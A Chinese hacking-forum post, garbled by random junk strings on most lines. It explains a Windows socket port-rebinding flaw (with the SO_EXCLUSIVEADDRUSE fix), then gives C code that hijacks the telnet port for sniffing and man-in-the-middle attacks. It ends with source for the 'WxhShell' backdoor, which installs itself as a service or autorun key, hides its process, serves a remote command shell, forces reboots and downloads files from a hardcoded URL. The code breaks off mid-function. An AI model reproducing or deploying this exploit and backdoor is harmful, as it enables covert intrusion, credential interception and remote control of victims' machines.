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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZdJQ9y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x-T7 tr&(  
1`2lq~=GV  
  saddr.sin_family = AF_INET; zB8J|uG  
^f] 9^U{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G LA4O)  
g$U7bCHG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2,rjy|R`  
Q"k #eEA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Tffdm  
P EMuIYm$  
  这意味着什么?意味着可以进行如下的攻击: r)gtx!bx  
:+<GJj_d+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,-V7~gM%}  
2{01i)2y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]#\/1!W  
|?LUt@r;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =c#;c+a  
YH3[Jvzf4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r5Xi2!  
]g]~!":  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 72sBx3 ;  
|#5_VEG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `7Dj}vVu  
lT+N{[kLt*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (!koz'f  
(RLJ_M|;/b  
  #include ;f[@zo><r  
  #include VMW<?V 2Z  
  #include Ip*[H#h  
  #include    +\66; 7]s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9|2LuHQu+  
  int main() 8_uh2`+Bvb  
  { ^ =RSoR  
  WORD wVersionRequested; i; 3qMBVY~  
  DWORD ret; % ^&D,  
  WSADATA wsaData; "yPKdwP  
  BOOL val; Ffr6P }I  
  SOCKADDR_IN saddr; `bEum3l\6]  
  SOCKADDR_IN scaddr; vA#?\j2  
  int err; n4G53+y'  
  SOCKET s; }9>X M  
  SOCKET sc; EhHW`  
  int caddsize; !' jXN82  
  HANDLE mt; Ge4 tc  
  DWORD tid;   E3E$_<^  
  wVersionRequested = MAKEWORD( 2, 2 ); Q)Zk UmW  
  err = WSAStartup( wVersionRequested, &wsaData ); *,oZ]!   
  if ( err != 0 ) { <>K@#|%Y&  
  printf("error!WSAStartup failed!\n"); QLAyX*%B  
  return -1; Y^CbpG&-vC  
  } 8Zvh"Z?  
  saddr.sin_family = AF_INET; oxL4* bqZ  
   AZadNuL/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4!tHJCq"  
|h65[9DMP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rFR2c?j8  
  saddr.sin_port = htons(23); "ktC1y1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g@7j<UY  
  { |A@Gch fd  
  printf("error!socket failed!\n"); <jRs/?1R  
  return -1; 9wC:8@`6E  
  } 2 -M]!x)  
  val = TRUE; B^G{k3]t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zVs|go>F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )SYZ*=ezl.  
  { mLn =SU{#  
  printf("error!setsockopt failed!\n"); ()+;KF8  
  return -1; "Z6:d"S`  
  } R!.HS0i.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JSQ*8wDcl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q3E_.{t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v`$9;9  
}AfK=1yOa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _"`U.!3*  
  { '3@WF2a  
  ret=GetLastError(); ;{inhiySN  
  printf("error!bind failed!\n"); fE/8;v!=  
  return -1; *ad"3>  
  } RKP->@Gs  
  listen(s,2); < &'r_m  
  while(1) @kKmkVhu*  
  { p=(;WnsK  
  caddsize = sizeof(scaddr); 0Fh*8a}?b  
  //接受连接请求 0fPqO2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Yn}_"FO'  
  if(sc!=INVALID_SOCKET) TPds)osZT  
  { >cD+&h34  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SJ-g2aAT  
  if(mt==NULL) $0Y&r]'  
  { hqY9\,.C  
  printf("Thread Creat Failed!\n"); %6"b< MAO  
  break; 0\jOg  
  } va8V{q@t'  
  } rQ'tab.,]  
  CloseHandle(mt); ys;e2xekg  
  } morI'6N  
  closesocket(s); l1N{ujM  
  WSACleanup(); t{>66jm\R  
  return 0; y+?tUSPP  
  }   =3oz74O[  
  DWORD WINAPI ClientThread(LPVOID lpParam) xIrpGLPSh  
  { E!VAA=  
  SOCKET ss = (SOCKET)lpParam; @U:T}5)wc  
  SOCKET sc; 4W.;p"S2  
  unsigned char buf[4096]; -H`G6oMOO  
  SOCKADDR_IN saddr; #Y}Hh7.<  
  long num; }]zmp/;a  
  DWORD val; M Zw%s(lv  
  DWORD ret; i&>,aiH@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ".xai.trr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^^?DYC   
  saddr.sin_family = AF_INET; oJ8_hk<Va8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0v0Y( Mo@  
  saddr.sin_port = htons(23); (4 {49b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y=vH8D]%X  
  { TKLy38  
  printf("error!socket failed!\n"); sp**Sg)  
  return -1; Z{p6Q1u  
  } g-p OO/|  
  val = 100; `6mHt6"h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EkSTN  
  { c(#`z!FB  
  ret = GetLastError(); ;mi0Q.  
  return -1; GYO\l.%V5y  
  } 4nl>&AV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DQlaSk4hF_  
  { NxXVW  
  ret = GetLastError(); &vMH AZd  
  return -1; 9x?;;qC"m9  
  } Etu>z+P!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) OaCL'!  
  { TLSy+x_gX  
  printf("error!socket connect failed!\n"); ZHC sv]l  
  closesocket(sc); zi?'3T%Ie  
  closesocket(ss); .@6]_h;  
  return -1; ooZ-T>$  
  } _yWH\5@  
  while(1) Yip9K[  
  { g Go  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F7;xf{n<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 b(SV_.4,'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZM#WdP  
  num = recv(ss,buf,4096,0); -8tA~;p  
  if(num>0) Rm*}<JN31  
  send(sc,buf,num,0); BL8\p_U  
  else if(num==0) sRZ:9de+  
  break; Y;&#Ur8q  
  num = recv(sc,buf,4096,0); &1h3o^K  
  if(num>0) Vd?v"2S(9  
  send(ss,buf,num,0); .d "+M{I  
  else if(num==0) okcl-q  
  break; '.K,EM!-~h  
  } Oq2H>eW`f  
  closesocket(ss); (t]>=p%4g  
  closesocket(sc); lXPn]iLJ  
  return 0 ; y[|g!9Rp  
  } W vJ?e  
m@,>d_|-K-  
9/$P_Q:3  
========================================================== xI<dBg|]+  
q],R6GcVr  
下边附上一个代码,,WXhSHELL |f:d72{Qr  
Q'a N|^w"f  
========================================================== @ RI^wZ-;  
-$)Et|  
#include "stdafx.h" {^f0RGJg9  
8QN8bGxK   
#include <stdio.h> z`5I 1#PVA  
#include <string.h> +lT]s#Fif  
#include <windows.h> e\_6/j7'  
#include <winsock2.h> nwo!A3w:  
#include <winsvc.h> I.u,f:Fl'  
#include <urlmon.h> z= p  
5 WppV3;  
#pragma comment (lib, "Ws2_32.lib") %~5Q^3$O  
#pragma comment (lib, "urlmon.lib") O|RO j  
\z`d}\3( R  
#define MAX_USER   100 // 最大客户端连接数 JYr7;n'!  
#define BUF_SOCK   200 // sock buffer a1`cI5n  
#define KEY_BUFF   255 // 输入 buffer  y:OywIi(  
/>[6uvy#Q  
#define REBOOT     0   // 重启 'Xl>,\'6  
#define SHUTDOWN   1   // 关机 1:!rw,Jzl`  
j$|C/E5?  
#define DEF_PORT   5000 // 监听端口 JX)z<Dz$  
`7%eA9*.m  
#define REG_LEN     16   // 注册表键长度 N&ql(#r  
#define SVC_LEN     80   // NT服务名长度 Z{ Zox[/  
c '+r[rSn1  
// 从dll定义API 3t8H?B12ow  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ')<FLCFwT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WJU NJN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r)5\3j[P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g**% J Xo  
7oe@bS/Z  
// wxhshell配置信息 ZU.)K>'  
struct WSCFG { [a)~Dui0@\  
  int ws_port;         // 监听端口 gZEA;N:H%<  
  char ws_passstr[REG_LEN]; // 口令 E9d i  
  int ws_autoins;       // 安装标记, 1=yes 0=no ; 9 &1JX  
  char ws_regname[REG_LEN]; // 注册表键名  q3-;}+  
  char ws_svcname[REG_LEN]; // 服务名 M}oj!xGB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N"x\YHp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +Q!xEfpO;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lZA>L, \d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a H|OA\<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cevV<Wy+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `{|}LFS>  
l&sO?P[ /  
}; {.D2ON  
F}B/-".^  
// default Wxhshell configuration W3V{Xk|  
struct WSCFG wscfg={DEF_PORT, v*'iWHCl,  
    "xuhuanlingzhe", h,'mN\6t  
    1, KpbZnW}g  
    "Wxhshell", dI ZTLb"a  
    "Wxhshell", 8 1K G1i)  
            "WxhShell Service", (-' 0g@0UA  
    "Wrsky Windows CmdShell Service", !Zyx$2K  
    "Please Input Your Password: ", qgC-@I  
  1, [mB(GL  
  "http://www.wrsky.com/wxhshell.exe", tY$ty0y-e  
  "Wxhshell.exe" }u3H4S<o  
    }; Fy _<Ui  
ok>P [ &!  
// 消息定义模块 {c\oOM<7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3dxnh,]&@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }Uwkef.Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V:F+HMBk  
char *msg_ws_ext="\n\rExit."; jgo<#AJ/E  
char *msg_ws_end="\n\rQuit."; {80oRD2=Q  
char *msg_ws_boot="\n\rReboot..."; =8$0$d  
char *msg_ws_poff="\n\rShutdown..."; CDnR  
char *msg_ws_down="\n\rSave to "; SZK)q   
LG Y!j_bD  
char *msg_ws_err="\n\rErr!"; wHt#'`5  
char *msg_ws_ok="\n\rOK!"; Q/3tg  
ezg^5o;  
char ExeFile[MAX_PATH]; w `. T/  
int nUser = 0; Wlr&g xZ  
HANDLE handles[MAX_USER]; 3I;xU(rv  
int OsIsNt; @`IXu$Wm(  
<wUD  
SERVICE_STATUS       serviceStatus; ^EC)~HP@C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yBPt%EF  
%0+h  
// 函数声明 3XApY'  
int Install(void); 2xL!PR-  
int Uninstall(void); [xZ/ZWb/  
int DownloadFile(char *sURL, SOCKET wsh); wr3_Bf3]  
int Boot(int flag); Nl$gU3kL  
void HideProc(void); (^DLCP#*  
int GetOsVer(void); 5#TrCPi6A  
int Wxhshell(SOCKET wsl); b(.-~c('  
void TalkWithClient(void *cs); ,Lt~u_lve  
int CmdShell(SOCKET sock); v+!y;N;Q  
int StartFromService(void); 2YE;m&  
int StartWxhshell(LPSTR lpCmdLine); H )BOSZD  
Sc;iAi (  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1a($8>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )K>Eniou  
sorSyuGr  
// 数据结构和表定义 dN$ 1$B^k  
SERVICE_TABLE_ENTRY DispatchTable[] = w+Z--@\  
{ a,/M'^YyN  
{wscfg.ws_svcname, NTServiceMain}, <ICZ"F`S  
{NULL, NULL} Af2=qe  
}; Veb+^&  
N5pinR5 H  
// 自我安装 d\~p5_5.  
int Install(void) xoqiRtlY:  
{ Yw$a{5g  
  char svExeFile[MAX_PATH];  /6+1{p  
  HKEY key; .dD9&n;#^  
  strcpy(svExeFile,ExeFile); $q Zc!Qc  
=)(3Dp  
// 如果是win9x系统,修改注册表设为自启动 q+YuVQ-fx  
if(!OsIsNt) { pwJ'3NbS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :7 qqjs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XXa(305  
  RegCloseKey(key); <lC]>L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bjPka{PBj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `^v4zWDK  
  RegCloseKey(key); gKmX^A5<  
  return 0; c u\ls^  
    } ]vm\3=@}9  
  } 285_|!.Y  
} 1*Sr5N[=  
else { uWUR3n  
 DZ^=*.  
// 如果是NT以上系统,安装为系统服务 6!ZVd#OM%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); - G8c5b[  
if (schSCManager!=0)  ;KZrl`  
{ )8[ym/m  
  SC_HANDLE schService = CreateService -@rxiC:Q  
  ( M(qxq(#{U  
  schSCManager, . 3Gn ZR,L  
  wscfg.ws_svcname, #MUiL=  
  wscfg.ws_svcdisp, -g:lOht  
  SERVICE_ALL_ACCESS, :bwM]k*$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0eFb?Z0]  
  SERVICE_AUTO_START, 'g]hmE  
  SERVICE_ERROR_NORMAL, +W6Hva.  
  svExeFile, Yy]T J  
  NULL, Ejq=*UOP  
  NULL, ^Z2kq2}a  
  NULL, C*7!dW6  
  NULL, (B&h;U$HAH  
  NULL -PM)EGSk{  
  ); M:_!w[NiLp  
  if (schService!=0) ?L=A2C\_-  
  { rnu e(t  
  CloseServiceHandle(schService); .8]Y-  
  CloseServiceHandle(schSCManager); X:_<Y_JT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k5a\Sq}  
  strcat(svExeFile,wscfg.ws_svcname); qbXz7s*{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yLW/ -%I#u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :lK4 db  
  RegCloseKey(key); VpSEVd:n  
  return 0; eaQ90B4  
    } R*yU<9Mm8  
  } _S"f_W  
  CloseServiceHandle(schSCManager); a\pi(9R  
} =2,0Wo]$  
} i&A%"lOI9  
u?kD)5Nk  
return 1; @rO4y`  
} OC_M4{9/  
Tr&E4e  
// 自我卸载 7 jjU  
int Uninstall(void) G AQ 'Ti1!  
{ H?uukmZl  
  HKEY key; Pd~MiyO;K  
bD<qNqX$  
if(!OsIsNt) { 3sFeP &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uki9/QiX>  
  RegDeleteValue(key,wscfg.ws_regname); Q.k :\m*h  
  RegCloseKey(key); JRO$<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .+E#q&=  
  RegDeleteValue(key,wscfg.ws_regname); qzK("d  
  RegCloseKey(key); $ D'^t(  
  return 0; 0Q~@F3N-\>  
  } EvE,Dm?h  
} aq Mc6N`z  
} r7 VXeoX  
else { S &JJIFftO  
H{V)g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \Hwg) Uc{  
if (schSCManager!=0) +;q.Y?  
{ @(:v_l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )NT5yF,m  
  if (schService!=0) J!h^egP  
  { #SkX@sl@  
  if(DeleteService(schService)!=0) { *7" L]6  
  CloseServiceHandle(schService); dvjTyX  
  CloseServiceHandle(schSCManager); jtKn3m7 +p  
  return 0; <L2emL_'  
  } N[Sb#w`[/  
  CloseServiceHandle(schService); u+D[_yd^  
  } h qmSE'8  
  CloseServiceHandle(schSCManager); |}[nH>  
} mm[SBiFO\  
} $/_ qE  
(~s|=Hxq|-  
return 1; Cca0](R*&  
} ~`eHHgX  
sR=/%pVN  
// 从指定url下载文件 H4<Nnd\   
int DownloadFile(char *sURL, SOCKET wsh) f h<*8w0H  
{ K:r\{#9  
  HRESULT hr; uQeu4$k!  
char seps[]= "/"; Zzj0\? Ul  
char *token; I@ \#up}  
char *file; 1u}nm;3  
char myURL[MAX_PATH]; Kt/)pc  
char myFILE[MAX_PATH]; nr\q7  
Ya Y8 `M{  
strcpy(myURL,sURL); Q M 1F?F  
  token=strtok(myURL,seps); G&9#*<F$c  
  while(token!=NULL) "uD= KlA  
  { HGDV O Jq  
    file=token; E9 Y\X  
  token=strtok(NULL,seps); j+^L~, S  
  } KN[d!}W:  
{'bip`U.  
GetCurrentDirectory(MAX_PATH,myFILE); {0yu   
strcat(myFILE, "\\"); #a9_~\s  
strcat(myFILE, file); g]$ 4~"|.  
  send(wsh,myFILE,strlen(myFILE),0); kA#vByf`v  
send(wsh,"...",3,0); &%F@O<:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g+[kde;(^  
  if(hr==S_OK) [}o~PN:sT(  
return 0; z,f=}t[.Y  
else (36K3=Qa  
return 1; `  2%6V)s  
\t.}-u<7{  
} A7-r <s  
~+n,1]W_  
// 系统电源模块 d?L\pN&  
int Boot(int flag) H;KDZO9W  
{ t#~?{i@m  
  HANDLE hToken; pGWA\}'  
  TOKEN_PRIVILEGES tkp; M}F~_S0h  
w:ULi3  
  if(OsIsNt) { [ygF0-3ND  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oXYMoi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }Uw#f@Wh  
    tkp.PrivilegeCount = 1; <8o(CA\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QT!5l`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a/:XXy |  
if(flag==REBOOT) { &a)vdlZSE=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >|udWd^$3  
  return 0; ?&c:q3_-Z  
} TMj4w,g4  
else { |:q/Dt@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D-ADv3E,  
  return 0; M'5 'O;kn  
} %5B%KCCN  
  } 2V gP  
  else { cvo[s, p  
if(flag==REBOOT) { +1`t}hO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1Ix3i9  
  return 0; tS?lB05TOR  
} Px;Cg 6  
else { z@h~Vb&I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9O98Q6-s  
  return 0; T1 MY X  
} ?b:_AO&  
} %u!XzdG  
ClUSrSp  
return 1; CjZ2z%||=  
} ]T<^{jG  
oyeG$mpg  
// win9x进程隐藏模块 ygViPz<J  
void HideProc(void) :L$4*8@`+  
{ D3]BTkMMS;  
3N4.$#>#9@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cyF4iG'M,y  
  if ( hKernel != NULL ) j}WByaZ&  
  { A"l{?;~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v3^|"}\q5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); > <Z'D  
    FreeLibrary(hKernel); .9M.|  
  } w6zB Vi  
8;zDg$ (  
return; *xH\)|3,  
} RU_L<Lpi  
|f' 8p8J  
// 获取操作系统版本 =_-C%<4  
int GetOsVer(void)  s>[{}7ca  
{ _l&ucA  
  OSVERSIONINFO winfo; Ja [4A0.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b X,Siz:F  
  GetVersionEx(&winfo); ; B$ *)X9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J!p<oW)a!  
  return 1; =ApY9`  
  else .Q\\dESn"  
  return 0; >FFVY{F  
} XB/'u39  
S+T|a:]\7  
// 客户端句柄模块 L;)v&a7[P  
int Wxhshell(SOCKET wsl) 36A;!1  
{ HeS'~Z$  
  SOCKET wsh; (!</%^ZI  
  struct sockaddr_in client; )f*Iomp]@  
  DWORD myID; 80&D""  
0dt"ZSm  
  while(nUser<MAX_USER) - 9&g[  
{ I'InZ0J2  
  int nSize=sizeof(client); e'~ Q@_D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U[fSQ`&D  
  if(wsh==INVALID_SOCKET) return 1; 4iBxPo(0  
L@A9{,9Pl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9d\N[[Vu]R  
if(handles[nUser]==0) /'&v4C^y>  
  closesocket(wsh); !5.v'K'  
else PqfVX8/q0  
  nUser++; ^!uO(B&  
  } q/'MS[C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r@|ZlM@O  
.@K#U52  
  return 0; ^[TOZXL`:  
} OqEHM%j  
]h8/M7k  
// 关闭 socket vnZ/tF  
void CloseIt(SOCKET wsh) k2uBaj]  
{ cVg$dt  
closesocket(wsh); ca}S{"  
nUser--; Y_lCcu#OA  
ExitThread(0); R `Q?J[e  
} 8;.` {'r  
h@Dw'w  
// 客户端请求句柄 Z@nmjji  
void TalkWithClient(void *cs) 3G(skphE  
{ 9/H^t* 5t  
cJV!> 0ua  
  SOCKET wsh=(SOCKET)cs; 0gi}"v  
  char pwd[SVC_LEN]; auoA   
  char cmd[KEY_BUFF]; U\;Ml  
char chr[1]; gyg|Tno  
int i,j; Xr)g  
JrxP,[qJG  
  while (nUser < MAX_USER) { bY&YSlO  
Y?e3Bx7*b  
if(wscfg.ws_passstr) { <H_LFrB$W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E =  ^-Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LVWxd}0  
  //ZeroMemory(pwd,KEY_BUFF); >:fJhF@  
      i=0; 9XY|V<}  
  while(i<SVC_LEN) { "rf\' 9=  
:e52hK1[T  
  // 设置超时 B=^2g}mgK  
  fd_set FdRead;  *X0K2|  
  struct timeval TimeOut; '> 4+WZ1w5  
  FD_ZERO(&FdRead); 0sY#MHPT&  
  FD_SET(wsh,&FdRead); >02i8:Tp5K  
  TimeOut.tv_sec=8; ,at-ci\'  
  TimeOut.tv_usec=0; r)(i{:@r`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &<#/&Pq/i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ds;Rb6WcnY  
JO]`LF]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >^sz5d+X  
  pwd=chr[0]; ^glbxbhI4  
  if(chr[0]==0xd || chr[0]==0xa) { ?Of{c,2 .  
  pwd=0; i:AjWC@]  
  break; v] W1F,u  
  } lu<Np9/5<  
  i++; AW]("pt  
    } mJ7 `.  
s= 3EBh  
  // 如果是非法用户,关闭 socket ;e`D#khB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tOu90gu  
} bEEJVF0  
EXv\FUzo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |F8;+nAVF#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WXRHG)nvL  
E5v|SFD  
while(1) { ,S7~=S  
4'd;'SvF  
  ZeroMemory(cmd,KEY_BUFF);  -fx(H+  
v3iDh8.__  
      // 自动支持客户端 telnet标准   kG_&-b  
  j=0; tr#)iZ\  
  while(j<KEY_BUFF) { ft*G*.0kO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L|dab {9  
  cmd[j]=chr[0]; \= )[  
  if(chr[0]==0xa || chr[0]==0xd) { Y9\]3Kno  
  cmd[j]=0; (2hk <  
  break; q[Sp|C6x  
  } '_Hb}'sFI  
  j++; )w3XN A_V  
    } H >@JfYZ0  
oj,Vi-TZ  
  // 下载文件 +J}k_'4&  
  if(strstr(cmd,"http://")) { ~7eUt^SD;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XACEt~y  
  if(DownloadFile(cmd,wsh)) noB}p4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &B{Jxc`VA  
  else #I*ht0++  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @et3}-c  
  } J$eZLj  
  else { v/4X[6(  
[|P]St-  
    switch(cmd[0]) { ZJ{+_ax0K  
  ivDG3>"JG  
  // 帮助 2#Q"@  
  case '?': { ~ 33@H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5 p(t")  
    break; }f0^9(  
  } $`+~QR!h  
  // 安装 rE' %MiIK  
  case 'i': { B'[3kJ'  
    if(Install()) }lQn]q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V!aC#^  
    else VN55!l'OV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SE7 (+r  
    break; d$G%F$BTs  
    } >GF(.:7  
  // 卸载 D%";!7u  
  case 'r': { !WVabdt  
    if(Uninstall()) `HZHVV$~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 28ov+s~1+-  
    else | 2c!t$O@v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e"&9G}.f  
    break; 4s+J-l  
    } f<t*#]<  
  // 显示 wxhshell 所在路径 ]nr BmKB  
  case 'p': { }od7YL  
    char svExeFile[MAX_PATH]; V,* 0<7h  
    strcpy(svExeFile,"\n\r"); T_|fb)G+{  
      strcat(svExeFile,ExeFile); `^4>^  
        send(wsh,svExeFile,strlen(svExeFile),0); }A&Xxh!Fwo  
    break; 8 ~L.6c5U  
    } nr9#3 Lb  
  // 重启 9#$V1(}?  
  case 'b': { $hY]EB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ss#{K;  
    if(Boot(REBOOT)) DB?PS^-2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n<(5B|~y  
    else { =R8.QBVdN  
    closesocket(wsh);  ! 6i  
    ExitThread(0); di P4]/%1  
